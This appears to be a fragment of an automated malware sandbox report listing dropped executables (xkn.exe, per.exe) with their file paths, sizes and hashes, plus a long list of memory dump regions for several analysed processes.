Size 1.6MB
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
SSDEEP 24576:aCaND6ankkViMCsJf0JhY+3hvwUJDP+t3HvDGKK1V3FuNM2GRUY/ejsSvVo2:aCiDLnPipbJ5vwES3CKGVVuNM20UXa2
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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per.exe

Path C:\Windows \System32\per.exe
Size 48KB
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459
SSDEEP 768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5 SHA1 SHA512 SSDEEP

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memory/2512-112-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/2512-115-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/2512-107-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/2512-109-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/2512-110-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/3284-117-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3284-95-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3284-103-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3284-99-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3284-101-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3940-41-0x0000015443970000-0x0000015443992000-memory.dmp

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memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/4084-97-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/4084-100-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/4144-87-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-120-0x00000000465F0000-0x0000000046609000-memory.dmp

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memory/4144-86-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-89-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-88-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-93-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-81-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-91-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-84-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-124-0x00000000465F0000-0x0000000046609000-memory.dmp

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memory/4144-123-0x00000000465F0000-0x0000000046609000-memory.dmp

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memory/4144-85-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-75-0x0000000000400000-0x0000000000569000-memory.dmp

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memory/4144-125-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-90-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-135-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-134-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-145-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-146-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-167-0x00000000279E0000-0x00000000289E0000-memory.dmp

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memory/4144-168-0x00000000279E0000-0x00000000289E0000-memory.dmp

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